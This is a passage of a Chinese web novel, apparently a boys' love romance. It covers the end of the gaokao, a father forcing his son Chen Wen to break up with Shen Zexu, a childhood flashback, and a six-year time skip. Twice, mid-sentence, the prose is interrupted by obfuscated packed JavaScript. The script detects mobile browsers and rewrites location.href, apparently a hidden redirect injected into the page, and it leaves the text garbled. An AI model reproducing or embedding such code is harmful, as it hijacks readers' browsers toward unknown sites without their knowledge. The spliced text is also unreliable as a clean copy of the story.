到了学校门口,下车前,陈林峰终于开口:“正常考,尽力就好。上午考完,我过来接你去元姨家休息。她那儿离考点近,房间也给你腾好了。” “……嗯。”陈温推门下车,汇入拥挤的人潮。 他在校门口的人群里下意识寻找,没有看到沈泽许。心里那点期待感,瞬间被扎的只剩气泡。 大巴车陆续开来。陈温背着书包上了车,和林宇舟坐在了一排。 他透过车窗,目光扫过车下每一张脸,送行的家长、穿着各色校服的学生、维持秩序的老师……始终没有那个人。 估计是不同车吧。或许,沈泽许已经自己先去了考点。 他这样告诉自己,收回目光,闭上眼睛。 老师开始挨个点名,提醒大家系好安全带。车厢里窃窃私语起来,兴奋、紧张、什么情绪都有。 车子启动,缓缓驶离。陈温望着街道的栏杆上挂满加油的横幅,直到考点大门彻底消失在视线里,某人也没有出现。 刚开出去没多远,在一个需要减速的路口,一辆黑色轿车从旁边车道平稳地超了过去,与大巴车并行了一小段。 沈泽许就坐在那辆轿车的副驾驶座上。 他几乎是下意识地侧过头,目光穿透身侧的车窗,捕捉到了旁边大巴车后排靠窗的那个身影—— 陈温微微歪着头,靠在玻璃上,闭着双眼。 他似乎睡着了,又或者只是在养神,侧脸有些疲态,又格外柔和。 沈泽许就这么眼睁睁地看着那辆载着陈温的大巴车,缓缓驶过,然后在前方路口转向,汇入另一条车流,渐行渐远。 车窗上那个靠着的剪影,也迅速缩小,最终消失在视野尽头。 “外甥,”驾驶座上,一个面容与白千月有几分相似的中年男人开口问道:“大巴车走了,你现在还要等那个人吗?还是直接去考场?” 沈泽许收回目光,脸上没什么表情,喉结滚动了一下。 “谢谢舅舅,”他开口,“直接送我去考场吧。” 叫“舅舅”的男人——白千月的弟弟白朗,闻言挑了挑眉,看了外甥一眼,没多问,爽快地应道:“得嘞!坐稳,舅舅保证准时准点给你送到!” 车子加速,朝着与大巴车不同的另一条路驶去。 林宇舟在大巴发动后就没停过嘴,身子凑过来,压着嗓子跟陈温叽里呱啦。 “哎我跟你说,昨晚简直了!”他眼睛发亮,“学校不是明令禁止喊楼嘛,说怕影响复习。结果你猜怎么着?晚上十点多,不知道哪个猛男带头,在阳台上吼了一嗓子《海阔天空》!” 他比划着,模仿着那声吼:“结果你猜怎么着?一层楼,接着整栋楼!跟传染似的,全跟着唱起来了!虽然歌词都没唱全,调也跑到太平洋去了,但那个阵势,我靠……” 林宇舟咂咂嘴,仿佛还在回味:“虽然没到一分钟就被宿管和老师连吼带吓地镇压下去了。” “我偷偷拿手机录了一段,虽然抖得不行,还有点糊,但是拍的很有感觉!等考完我发给你看!” “我不住宿没看到,好可惜。”陈温闭着眼说。 林宇舟话锋一转,又说起昨晚的失眠经历:“我昨晚本来想早点睡,结果躺床上越想越慌,摸出手机想随便刷刷,结果大数据给我推了个数学高考押题的直播。” “你猜怎么着?大半夜的,直播间显示有一万多人同时在线!我看着那个在线人数,心里……啧,说不出什么滋味。” 男生顿了顿,肩膀塌下来一点:“就突然觉得,我们这一百来号人在这学校里拼死拼活,外面还有成千上万个不认识的人,在同一个晚上,为了同一件事,同样焦虑,跟豪赌似的。” 陈温终于睁开了眼,侧过头看着林宇舟那张写满“我其实很慌但我不能承认”的脸,抬起手,没什么力道地拍他的肩膀。 “物理系未来的神,”陈温调侃道,“也会焦虑吗?” “去你的。”林宇舟拍开他的手,脸上松动了一点,“还没考呢,封什么神。考砸了我就老实了,你可别给我瞎立flag。” “行行行,”陈温收回手,嘴角很浅地弯了一下,“不立,不立。” “没事的,”陈温又说,声音在车子的噪音里显得很平稳,“有句话怎么说来着……‘你焦虑,恰恰是因为你有考上的潜力。’” 林宇舟愣了一下,随即咧开嘴,露出一个真心实意的笑。 “这句话我爱听。”他说,然后舒坦地呼出一口气,好像把胸腔里最后那点紧张都吐了出去。 他重新靠回椅背,姿态自然,甚至屈起一条腿,找了个更舒服的姿势。 陈温也跟着呼了口气,重新闭上眼。 那句话是楚婷在某次班会时说的,他当时没怎么在意,此刻却自然而然地说了出来,传递起信心。 下了车,楚婷穿着那件素色旗袍,站在校门口,与每一个即将走进考场的学生拥抱。 走廊上仍有人埋头翻动笔记,进行最后的复习,直到监考老师催促才匆匆入场。 陈温抬起手臂,接受检查,仪器滑过袖口、腰侧、裤腿。走过一道门,再检查一次。 然后,他站在了真正的考场里。 窗外是铺天盖地的蝉鸣,肚里装着这三年背过的公式、诗句、定理…… 室外气温接近三十七度。校门外聚满了家长,有人撑伞,有人摇扇,目光却都朝着同一个方向。 交警在路口维持秩序,白衣的医生坐在临时医疗点,志愿者递上一瓶瓶水——所有人都在为了这一刻保驾护航。 即便再难熬的,也都熬过去了,这一点难也无所畏惧。 时间在字句间流淌,也在窗外的蝉鸣中渐渐蒸发。 直到最后一份答卷被收走,直到广播里响起“考试结束”。 属于他们的夏天,终于正式开始了。 人群如洪水般涌出考场。笑声、喊声、就是没有像电视剧那样的撕书。 热风扑面而来。陈温站在原地,忽然觉得属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172009|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的夏天,已经结束了。 他在攒动的人头中寻找那个身影。明明在同一个学校,明明知道他一定会出现,但怎么也找不到沈泽许。 你明知道他就在这里,却确实看不见他。 就像隔着一道墙,他在这一头,他在那一头。 陈温抬起手,阳光从指缝间漏下来,烫得眼角发酸。 沈泽许是第五个季节。是梦的别名。是他青春里,一场最盛大的虚构。 “陈温!你原来猫在这儿啊!” 林宇舟的声音带着考后特有的亢奋,像颗小炮弹似的从人群里冲出来,一把揽住陈温的肩膀。 “走走走!叶萧云他们说要狠狠吃一顿,庆祝脱离苦海!” “不了,”陈温身子僵了一瞬,语速平稳,“我爸说好了来接我。” “啊?哦……”林宇舟胳膊松了力道,脸上兴奋的光彩黯了些,抓了两把后脑勺。 他嘴唇翕动了几下,似乎想说什么,又咽了回去,眼神在陈温没什么表情的脸上打了个转。 陈温没再解释,他走到一旁的花坛边,弯腰从几盆蔫了的茉莉花后面拎出自己的黑色书包。 拉链有些卡,他用力扯开,在里面摸索片刻,掏出一个用旧报纸包好的长方形物件。 他转过身,把东西递过去。 “这个,”陈温说,目光落在那个小包裹上,顿了会,“沈泽许也去的话,帮我……给他。” 林宇舟接过去,入手微沉。他捏了捏,像是书,又不太像。 “行,包在我身上。”他答得爽快,把东西塞进自己空空如也的背包里。 拉好拉链,他又抬起眼,这次没怎么犹豫,脸上带着点豁出去的探究。 “哎,陈温,我说你们俩……” “嗯?”陈温抬起眼皮。 林宇舟吸了口气,开口说:“你跟沈泽许……是不是在一起了?就那种,谈、谈恋爱的那种在一起?” 空气静了两秒。 陈温也怔了两秒,随即,很轻地点了下头。 “呼——”林宇舟猛地吐出一大口气,随即一拳不轻不重地捶在陈温肩头,“我就知道!瞅你俩平时那眼神就不对劲!怎么不早说啊?太不够意思了!叶萧云、李欣桐他们,包括我,谁会在乎这个?瞒得跟地下党似的,还拿不拿我们当兄弟了?” 陈温听着他连珠炮似的话,脸上浮起一点笑意:“哈哈,是吗?其实我们……” “其实什么?”林宇舟凑近了些。 陈温的目光飘向校门口一棵叶子被晒得发亮的老槐树,像在自言自语:“我们本来打算……等高考完,就告诉你们的。” “哦……这样啊。”林宇舟恍然大悟,理解地点点头,“成!那……反正考完了,以后多的是时间。改天,必须再聚,咱们好好喝……咳,好好吃一顿!” “嗯。”陈温应了一声,目光重新落回林宇舟脸上,“走了。” 陈林峰还没到。校门口的人群已散去大半,留下满地零星的矿泉水瓶和传单。 就在陈温到校门口时,一抹鲜艳的红撞进了视线。 是熊丽,穿着一身正红色的连衣裙,像一团静止的火焰。 她也看到了他,远远地就扬起了手,脸上是惯常属于师长的笑容。 “陈温!”她走近几步,“考得怎么样?” 陈温下意识地牵动了一下嘴角,心里掠过一丝奇异的感慨——整整一年,这位总爱点他起来回答问题的英语老师,直到今天,在一切都尘埃落定的这一刻,终于准确无误地叫对了他的名字。 太不容易了。 “还好。”他简短地回答,用的是学生面对老师询问成绩时最标准、最安全的答案。 目光扫过熊丽明显在等人的姿态,陈温礼貌地问:“老师您在等谁吗?” “是啊,”熊丽抬手挡了挡阳光,“等我侄女,她也刚考完。”她话音未落,视线就越过陈温的肩膀亮了起来,“哟,来了!” 陈温侧身,看见一个满脸汗津津,笑容灿烂的女生小跑过来,亲昵地挽住了熊丽的手臂。 她们很快低声交谈起来,掺着如释重负的笑声。 陈温站在原地,意识到自己不知该再说些什么。道别显得突兀,继续站着又多余。好在熊丽已自然地转向他,点头道:“那我们先走了。陈温,以后常回学校看看。” “好的,老师再见。” 男生看着那一红一白的两个身影融入远处街角的人流,直到消失。 77. 我不想再看到你 四周彻底安静下来,只剩下蝉鸣,不知疲倦地锯着夏天。 这三天,身体和精神都像被拉紧后又猛然松弛的弦,泛着空乏的疲惫。 但在这疲惫深处,又有一种感觉浮上来——还有事情悬着,像鞋子里一颗细小却无法忽略的石子。 天色不知何时沉了一些,堆积的云层从边缘开始漫上灰调。 这几天热得没边,空气稠得化不开,此刻又隐隐有了种山雨欲来的沉闷。 估计又要下雨了。 因为考试,陈温的手机被陈林峰保管着,什么也干不了,只能望着马路对面那排被晒得蔫头耷脑的香樟树,发起呆。 陈林峰那辆车终于穿过滞留的人群,缓缓刹停在校门前的树荫下。 车窗降下,他探出半边脸,眉头拧着,风尘仆仆的模样。 “上车。”陈林峰说,“回去收拾收拾行李,我们今晚就回广州。” 陈温一只脚刚踏进开着冷气的车内,闻言顿住了,另一只脚还踩在滚烫的水泥地上。 “为什么?”他下意识抗拒地反问。 “你慕阿姨病了,在医院。”陈林峰的目光掠过儿子怔住的脸,“你高考也结束了,我们得赶紧回去。” 陈温心头一紧,担忧是真实的。但另一种更汹涌、更私人的恐慌随即攫住了他——这么快?今晚? “能不能……不要那么快?”他喉咙发干,声音低了下去,目光不由自主地飘向校门内。 “还有,”他转回头,伸出手,徒劳的坚持,“我的手机,能不能先给我一下?” 他还没见到沈泽许。那句在心底反复排练的“我放不下你”还未说出口。 这次走了,山高水远,下一次见面会是什么时候? 陈林峰看了他一眼,那眼神复杂。 “回去再给你。先上车,路上说。” 没有商量的余地。陈温最后望了一眼变得空旷起来的校园主干道,终是收回了踩在地上的那只脚,将身体沉进后坐里。 苏颜晓梦抱着班主任硬塞给她的一叠毕业纪念资料,刚走出校门,就被不远处的场景牵住了脚步。 是陈温和他父亲。车子停在树荫下,车门敞着,陈温半截身子还在车外,背脊绷得有些僵直,正侧头对着车内说着什么。 苏颜晓梦下意识收住了脚,抱着资料的手指收紧了些。她往旁边的宣传栏后挪了小半步,将自己隐在阴影里。 “……回广州……”几个模糊的字眼与热风飘过来。 她看着陈温似乎还想说什么,但最终只是肩膀微微一塌,放弃的姿态,矮身钻进了车里。 车门“砰”地关上,干脆利落,车子很快启动,拐了个弯,消失不见。 校门口瞬间又空旷了一些,苏颜晓梦这才走到旁边的花坛,摸出手机。 屏幕亮起,班级群里的消息已经刷到99+,但她心不在焉地划拉。 再抬起眼,无意识地望向车子消失的方向,就在这时——一个身影踉跄着从教学楼侧门的台阶上冲了下来。 沈泽许跑得有点急,额前的黑发被汗濡湿了几缕。 他停在陈温刚才上车的位置,猛地刹住脚步,胸膛起伏着,急促地扫过四周。 望向校门外车流,又望向三三两两还未散去的人群,甚至望向苏颜晓梦这个方向——他目光却没有焦点。 苏颜晓梦的心跳莫名快了几拍,收紧了手。 自从……因为无意间窥见的那一点秘密,她对陈温和沈泽许之间的关系,谈不上厌恶或抵触,那是他们的人生。 但她始终觉得有些……难以坦然面对。 喜欢的男神,他竟然喜欢男生,谁能接受? 此刻,看见沈泽许脸上毫不掩饰的焦急,看见他掏出手机,用力地按着屏幕,然后将电话贴在耳边,嘴唇紧抿。 她几乎可以肯定,他在找陈温。 而且,他似乎错过了,或者……他并不知道陈温已经离开。 一个冲动涌上来:要不要过去告诉他?就说刚刚看到陈温跟他爸爸上车走了,好像要回广州? 她甚至往前挪了一小步。 恰好这时,掌心里的手机振动起来,伴随着铃声,屏幕上跳出“妈妈”两个字。 这铃声像道现实的闸门,骤然截断了她的犹豫。 苏颜晓梦看了一眼依旧在反复拨打电话的沈泽许,又看了一眼催促般响个不停的手机,最终,吸了口气,按下了接听键。 “喂,妈……嗯,出来了,就在校门口……好,知道了,我这就到路口。” 她一边应着,一边最后瞥了一眼那个在焦急寻找中的身影,随后朝着与沈泽许相反的路口方向走去。 进了家门,陈林峰径直走向主卧,开始收拾行李箱,动作不拖泥带水。 陈温站在门口,目光落在父亲佝偻的背影,最后一点侥幸和勇气,像退潮般从他身体里流走。 他知道自己接下来的话听起来会很混账,很不孝,但他还是开了口: “爸……真的不能晚一天再走吗?” 陈林峰拉行李箱拉链的手顿住了,没回头。 陈温舔了舔发干的嘴唇,补充道:“慕阿姨生病,我肯定要去看的……我就是,就是还有点自己的事……” “什么事?” 陈林峰转过身,逆着窗外的光,他的身影笼罩下来。 陈温这才发现,不知何时起,他已经长得和父亲差不多高了。 那个曾经在他心中如同山岳、顶天立地的男人,此时额角与鬓边,竟能看见几根刺眼的白发。 陈温喉咙一紧,后面的话噎住了。 “我问你,什么事?”陈林峰耐着性子问。 “……我想去找个朋友。”陈温垂下眼,盯着地板缝,“我跟他……闹了点矛盾,想临走前,跟他道个歉。” 空气安静了一瞬。 “朋友?”陈林峰重复了一遍这个词,语气有些古怪。他往前走了半步:“是男朋友吧。” 陈温猛地抬头,瞳孔骤缩,血液仿佛瞬间冲上头顶,又急剧冷却。 “不……不是!”他几乎是条件反射地否认,声音拔高,带着他自己都没意识到的慌乱,“爸,你在说什么……” “我没说错吧。”陈林峰打断他,目光像钉子一样钉在他脸上,“是男朋友,不是普通朋友。” 陈温喉结滚动,所有的辩解和掩饰,在这双仿佛洞悉一切的眼睛面前,土崩瓦解。 他像被抽走了所有力气,只能站在那里,任由羞耻感和恐慌蔓延全身。 “分了吧。”陈林峰移开目光,声音重新变得平板。 “你……”陈温的声音抖得厉害,不可置信地问,“你怎么……知道的……” “我怎么知道?”陈林峰扯起嘴角,冷笑:“人家父亲亲自告诉我的。让我管好自己的儿子,别去……耽误他儿子。” “他让你……转告我?”陈温问。 “他让我告诉你,别再联系了。”陈林峰闭了闭眼,“陈温,你让我的脸往哪儿放啊?” “我……”陈温像被迎面打了一拳,踉跄着后退了小半步,头深深地埋了下去。 又沉默了几秒。 “你小时候……很乖的。”陈林峰的声音忽然低了下去,困惑又疲惫地说,“听话,懂事,学习也不用我多操心。怎么就……怎么就变成这样了呢?” “我……”陈温抬起头,眼眶通红,泪水在里面打转,却倔强地不肯落下,“我也不知道……我不知道我怎么了。” 他是真的不知道。 喜欢一个人也有错吗? 陈林峰看着他,眼神复杂得难以形容。 陈温受不了这种注视,他只想逃,逃离这间屋子,逃离这令人窒息的审判,尤其是,审判者是他的父亲。 两人僵持着,一动不动。 “都怪我。” 陈林峰忽然开口,他不再看陈温,而是看向楼下忙碌而寻常的市井生活。 “是我没本事,没让你们过上更好的日子。” “不是的,爸……”陈温急切地想要反驳。 “都是我的错。”陈林峰打断他,自我否定地说:“如果我当初多学习一点,多赚点钱,现在就不用这么拼命,就能有时间……多陪陪你。” “我一直在想,是不是因为我总不在家,没教好你,才让你……走上了这条路,有了这种……不正常的倾向。” “爸!你别说了!”陈温终于崩溃地喊出声,父亲的每一句话,都像带着倒刺的鞭子,抽在他心上。 他宁可父亲打他骂他,也好过此刻这种,将父子两人都拖入愧疚与痛苦深渊的凌迟。 “我错了。” 话音未落,陈温的膝盖一软,“咚”地一声闷响,他直直跪在了地上。 这一跪,毫无预兆,仿佛抽走了少年人所有挺直的脊梁和残存的倔强。 “我跟你回去……马上就走。” 沈泽许跳上公交车时,天已经下起雨来。车窗映出他半张脸,下颌线绷得有点紧。 苏颜晓梦最后还是折返了回来,脸上带着难言的神色,匆匆丢下一句:“陈温!他被他爸接走了,好像说要回广州。”话音未落,她就像完成某种任务般,快步离开了。 回广州?这么快? 高考刚刚结束,他们甚至还没来得及说上一句话。 其实下午考完最后一门,他就第一个冲了出来,逆着人群艰难地寻找陈温。 两个人,一个从左边楼梯往上跑,一个从右边楼梯往下追,隔着三间考场,像隔着整条银河。 谁也没看见谁。 沈明远的人一直在暗处盯着他。 沈泽许知道,他们想通过他找到白千月。 那人简直是个疯子。 母子俩只能继续躲。换地方,换电话,掐断过去的联系。 东西越搬越少,到最后一个行李箱就能装完。 此时,可能是最后一次能看见陈温的时候,他不想再错过他第2次了。 就在他穿过教学楼时,楚婷叫住了他,气息不稳:“之前那几所大学的提前录取,你怎么都没回复?” “我想自己考。”沈泽许答得很快。 楚婷沉默了片刻,问:“是家里……有什么事吗?” 男生点点头,没多解释。 有些事像埋在皮肤下的淤青,看不出来,但一碰就疼。 “这几天你没来,我总担心这个。”楚婷拢了拢被风吹乱的头发,“考试还顺利吗?” “还行。” “那就好。”她顿住,像是犹豫该不该说,“刚才我好像看见陈温往校门口去了。” 沈泽许的心脏猛地一沉,匆匆说了句“谢谢老师”,转身就跑。 书包在背上重重地拍打着,每一下都像在催:快点,再快点。 雨点已经不再是试探,而是汇成了雨幕,冲刷着世界。 公交车到了。 沈泽许没有丝毫犹豫,拉紧外套的帽子,一头扎进冰凉的雨帘中。 雨水瞬间打湿了他的头发、脸颊、肩膀,顺着脖颈流下。 他在人行道上奔跑起来,溅起一路水花。 生怕慢了一步,那扇门后就已经空了,那个重要的人也随之不见了。 与此同时,屋内却是另一种压抑的寂静。 元姨拎着刚煲好的老火汤和一只她特意去排队买的烧鹅,来庆祝陈温高考顺利。 顺便跟说他,之后不来照顾他,跟她儿子去上海享福了。 门虚掩着,女人走了进来,父子俩的对话,让她抬起的手顿在了半空。 “……今晚就回广州……” “……是男朋友吧……” “……分了……” 元姨站在客厅,手里的汤盅变得沉重。 她不是陈林峰雇来的保姆,硬要说,她是来“还债”的。 当年她那个皮得上房揭瓦的儿子,是陈温的母亲廖淑琴老师,用耐心一点点掰正,最终考上了不错的大学。 这份恩情,元姨一直记着。廖老师过逝后,几人便搬了家,她听闻陈温要回老家读书,陈林峰又忙得顾不过来,便几乎是强硬地接下了照顾陈温起居的担子。 顺便在那小区接了一份保姆的工作,下班就去陈温那煮饭,扫地什么的,方便又不太刻意。 这一年,可以说她是看着陈温长大的。 她其实早有察觉,尤其是那个叫沈泽许的男孩来过几次之后,陈温的眼神就会不自觉地跟着那人。 她能理解陈林峰作为父亲的不解,以及那种将错误归咎于自己的传统思维。 更能理解陈温——那孩子,不过是在遵循自己内心最真实的情感,这有什么错呢? 可她什么也做不了。 这不是一碗汤、一顿饭能化解的结。 她站在门外,叹了口气,将东西放下,悄无声息地离开了。 陈林峰还是将手机还给了陈温,自己下了楼,不知道干嘛去了。 陈温边开机,边拉上自己房间的门。 他把手机随手放在床上,开始收拾东西。书本、笔记、零零碎碎的小物件……都被他木然地塞进行李箱。 直到他的手碰到挂在衣柜最里面那件叠好的校服外套——秋季的,还很新。 他动作一顿,想起来了,这是苏颜晓梦不小心将拿铁泼到他的那件。 无论陈温怎么洗,都洗不掉那几个拿铁渍,之后就很少穿它了,几乎忘了它的存在。 临走,总要带走的。 陈温这么想着,顺手拎起外套,习惯性地摸了摸口袋。 左边口袋空空如也,右边口袋……触到了一个硬硬的的小东西。 他掏出来。 是一张校卡。尺寸很小,是幼儿园用的那种。 边缘卷曲,硬纸卡被水浸泡又干透后,皱缩得厉害,但能勉强辨认出这是他的。 陈温愣住了,他记得这个。 怎么可能不记得?这是他幼儿园时的校卡,大概五岁那年不见的。 为此他还哭了一场,因为害怕被老师批评。后来就不了了之,他有了新的校卡,旧的渐渐被遗忘了。 可是……它怎么会在这里? 陈温又想起来,这是沈泽许给他的。 说得通了。 一切都说得通了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172010|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那天的事,比以往更加清晰的呈现出来。 母亲节快到了。班上的女同学总爱戴着有漂亮小花的发卡,陈温想,妈妈戴起来一定更好看。他想送妈妈一个独一无二的茉莉花发卡——妈妈最爱茉莉了。 他攒了零花钱,拜托班里手最巧的一个女生,帮她做一个没有任何装饰的裸发卡。 条件是在公园交接。 赴约那天,他忐忑又兴奋。 出门前,悄悄从廖淑琴悉心照料的那盆茉莉上,掐了一枝茉莉花,小心地揣进口袋。 他想,等拿到发卡,就把花粘上去,妈妈一定喜欢。 可到了约定的公园角落,女孩子却反悔了。她把发卡背在身后,支支吾吾地说,一个不够,得要两包她最喜欢的果冻才换。 “我……我也只有这一个,做了好久呢。”她小声补充,带着点孩子式的不舍。 陈温看着女孩手里那个发卡,又想起口袋里那朵被他体温焐得有些发蔫的茉莉。 最后,他跑回家,从自己存着舍不得吃的零食盒里,抠出仅剩的两包果冻,气喘吁吁地跑回来换。 女孩高兴地接过果冻,蹦跳着走了。 陈温拿着发卡,坐在花坛边,从手帕里取出那两朵茉莉。 花有点皱了,但香气依旧。 正笨拙地试图用不知从哪找来的透明胶带,把花固定在发卡上时——一阵压抑、如同小动物般的抽泣声,断断续续地飘进他耳朵。 陈温循声望去,不远处的沙坑上,蹲着个跟他差不多大的男孩。 男孩把头埋在膝盖里,肩膀一耸一耸的,哭得眼睛红肿,鼻涕亮晶晶地挂在那儿。 陈温把东西收到口袋,几步跨过去,在那孩子面前蹲下,视线与他齐平。 他从口袋里掏出巧克力,塞进对方汗湿的小手里,说:“这个给你,草莓夹心的。别哭了,你怎么了?” 男孩没接,就看着他,巧克力掉在两人之间的草地上。 陈温也不去捡,自顾自地叽里呱啦起来:“有什么不开心的,跟我说说呗?” 见对方没反应,他歪着头打量:“你长得挺好看的啊,眼睛这么大——嗯,虽然现在肿了点,但还是很好看!跟我眼睛一样大!” “你也住这附近吗?我以前怎么没见过你?” 男孩依旧痴痴地看着他,只有肩膀还在微微抽动。 陈温没辙了。他想起自己哭的时候,妈妈总会亲亲他的脸颊,亲完好像真的就不那么难过了。于是他凑近些,说出了最后那句自认为的“杀手锏”: “喂,你再哭的话,我就亲你了哦。” 这句话像按下了某个开关。 男孩猛地回过神,惊愕地瞪着陈温,连鼻涕都忘了吸。随即,从耳朵尖到脖颈,迅速漫开一片红色。 他张了张嘴,终于发出了除了抽泣以外的第一个音节: “……我、我只是……见不到妈妈了。” 陈温没明白什么意思。他只觉得,这个人难过,需要人陪。 他想了片刻,把原本要做发卡的茉莉花拿了出来,将那朵小白花别在男孩的耳后。 男孩愣住,忘了哭,耳朵被花茎蹭得有点痒,抬手想去碰,又犹豫着放下。 “走!”陈温一把拉住他的手腕,力气不小,“我推你荡秋千,荡得高高的,什么难过都能飞走!” 那个下午,公园里似乎只剩下他们两个。 陈温把男孩按在秋千板上,自己跑到后面,用尽全身力气推。秋千越荡越高,风呼呼地掠过耳边,茉莉的香气时有时无。 他一直在后面推着,推得满头大汗,嘴里喊着“再高一点!”。 他们玩了很久,从秋千到滑梯,再到沙坑里胡乱堆砌城堡。 玩得太疯了,疯到太阳西斜,疯到陈温彻底忘了要问对方的名字。 只做了一日朋友。 但陈温有点不敢相信,那个哭得一把鼻涕一把泪的小孩是沈泽许。 男生愣了一瞬,目光无意识地滑过被雨水洇湿的窗玻璃。 然后,定住了。 楼下的木棉树被雨打得东倒西歪,猩红的花瓣零落成泥。 可树下有个人,正朝着这个方向,不管不顾地奔跑,书包掉了,他也没有要折返的意思。 陈温的呼吸停了半拍,几乎是手脚并用地扑向床,拨通了那个置顶的号码。 楼下的人刹住脚步。他低头掏手机,几乎是看到来电显示的瞬间,就接通了。 “喂,你出发了吗?我现在来找你。”沈泽许的声音有些喘。 陈温死死盯着楼下,一言不发。 仿佛心有灵犀,沈泽许突然仰起了头,隔着滂沱的雨幕,两人的视线撞在了一起。 那一瞬间,陈温的心脏像是被一只大手狠狠攥住,又像是被人强行喂了一整颗未熟的柠檬,酸涩感涌向四肢百骸,呛得他眼眶发热。 “……我知道你是谁了。”陈温听到自己干涩的声音说。 电话那头是长久的沉默,磅礴大雨填充着令人窒息的空白。 过了仿佛一个世纪,沈泽许才很低地“嗯”了一声。那声音里有什么东西碎了。 那天陈温跟母亲走后,沈泽许在秋千旁捡到了遗落的校卡。他看清名字,下意识追了上去。 转过街角,刹车声骤响。他亲眼看见廖淑琴像断线风筝般被撞飞,而陈温因为走得太快,错过了这一幕。 世界瞬间失声。沈泽许颤抖着用手表拨了急救电话。随后,他鬼使神差地跟到了医院。 在拐角处,沈泽许看见陈温蹲在墙下哭泣。 他不敢上前打扰,也没有归还校卡。 带着秘密、那张校卡和一朵茉莉,独自走进了夜色里。 …… 沈泽许就那么站着,站在瓢泼大雨里,一动不动。不上楼,也不离开,像他稍微移动,楼上那人就会消失的,连影子都找不到。 陈温闭上眼,父亲的话语和那眼神浮现在他脑海。男生垂眸,下唇被自己咬得发白,尝到一丝铁锈味。 “你……”他深吸一口气,强迫自己吐出那几个字,“回家吧。” 这句话在他心里盘旋的版本是:来我这里,这间屋子,有你在的地方,才是我想回的家。 可它太隐晦了,一句只有他自己才懂的密码。在眼下这种情境,听来只像一句驱逐。 果然,沈泽许的声音陡然绷紧了,颤声道:“什么意思?陈温你这是要跟我分手吗?” “……嗯,”陈温的喉咙哽得生疼,每一个字都像在砂纸上磨过,“你回家吧。” 别再来了,到此为止。从今往后,我不会再成为你的牵绊和麻烦了。 他在心里把话补全,希望对方永远不知道这后半句。 沈泽许脸上看不出表情,他说:“你说过会永远陪着我的……都是骗我的吗?” “嗯……” “为什么?陈温,你告诉我为什么!我不同意!”沈泽许在雨里喊,声音嘶哑。 “没有为什么……”眼泪终于混着窗上的雨水痕迹一起滑落,陈温努力让自己的声音听起来无异,“沈泽许,你快走吧,我不想再见到你。” 78. 相亲 六年后。 4月底的天闷热得很,心理咨询室内有淡淡的消毒水和水果糖的气味。 男生送走最后一对来访者——一个不断道谢的母亲,和她怀里始终安静看着别处的自闭症男孩。 “谢谢,陈医生。”女人说。 “不客气,慢走啊。”男生脸上的微笑在门合上后,像退潮般自然渐去,只剩一点倦意。 他的头发有些长,黑色柔软,在后颈随意地堆着点碎发。 不似刻意修剪的狼尾,纯粹是没空打理的结果。 下颌线很清晰,鼻梁高挺,但脸颊又留着点未褪尽的、属于年轻人的润泽感,让那份精致没那么有攻击性。 刚转身,还没坐回椅子上,门就被叩响了两下。 男生被声音吓得抖了一下,才说:“请进。” 进来的是科室主任刘维民,手里捏着一份文件,直接递过来。 “小陈,手头的工作刚结了吧?正好,给你接了个有意思的活儿。” 陈温接过,是份简单的合作函。 “市里那个示范园,‘青苹果幼儿园’,搞‘幼儿心理健康周’,想请我们派专家去撑几天场子。”刘维民语气的是那种“给你个好差事”的意味,“你专攻儿童跟青少年方向的,又刚有空,我就推荐了你。” 陈温快速浏览着函件内容。 “内容不难,”刘维民继续说,“带孩子们画画、玩玩沙盘、搞点小团体游戏。主要是观察,评估一下他们的情绪和社会性发展水平。最后给园方一份观察总结——注意啊,要温和,建设性,别吓着老师和家长。” “明白。”陈温点点头,目光没离开纸张。 “哦,对了,”刘维民走到门口,又回头补了一句,忽然想起似的,“他们园长特意提了个点,想看看‘孩子在陌生规则下的适应行为’。你可以围绕这个设计点环节。园方配合度很高,你放开手脚弄。” “好的,刘主任。” “行,那你先看着。具体的事我回头发给你,没什么事的话,我就先走了。你也赶紧回去休息吧。” 门再次关上。 安静不过一分钟。门外传来一声:“我能进来吗?” “请进。”陈温将合作函放在桌,上头也没抬道。 门应声而开,探进来一张与他年龄相仿的女生的脸。她没立刻进来,而是先在门缝里打量了一下,确认只有他一个,才像只灵巧的猫一样溜了进来,反手带上门。 “小温温——”她拖长了调子,“下班了没呀?” 陈温这才抬眼。 一看清来人,他眉头立刻条件反射般蹙起,像看到了极其慌缪的一幕。 “正准备。”他答,视线在她身上扫了个来回,“……顾言锐,你穿成这样是准备去参加戛纳电影节,还是不小心闯入了某位千金的衣帽间?” 站在他面前的顾言锐,简直像换了个人。 一贯的暗色系、宽松忧郁风消失无踪,取而代之的是一身剪裁得体的米白色及膝连衣裙,腰间系着细细的皮带,手里还拎着个棕色小羊皮手提包。 连头发都精心打理过,柔顺地披在肩上。 “啧,会不会说话?”顾言锐白了他一眼,但显然对他的反应颇为满意,甚至原地轻盈地转了小半圈,“好看吗?” “好看得让人怀疑你被什么优雅灵魂附体了。”陈温靠向椅背,抱起手臂,“所以,到底什么情况?终于决定放弃你的‘人间失格’美学了?” “唉,别提了。”顾言锐那点刻意端着的姿态瞬间垮掉一半,走到他办公桌对面,随手把手包往他桌上一搁,动作恢复了平日的随意,“昨天不是替怀孕的张主任值了个大夜吗?今天补休,结果被我妈发现了。好家伙,直接安排了个相亲,命令我‘必须去看看,给人留个好印象’。” 陈温了然,嘴角勾起个看戏的弧度:“哦——所以这是战袍?” 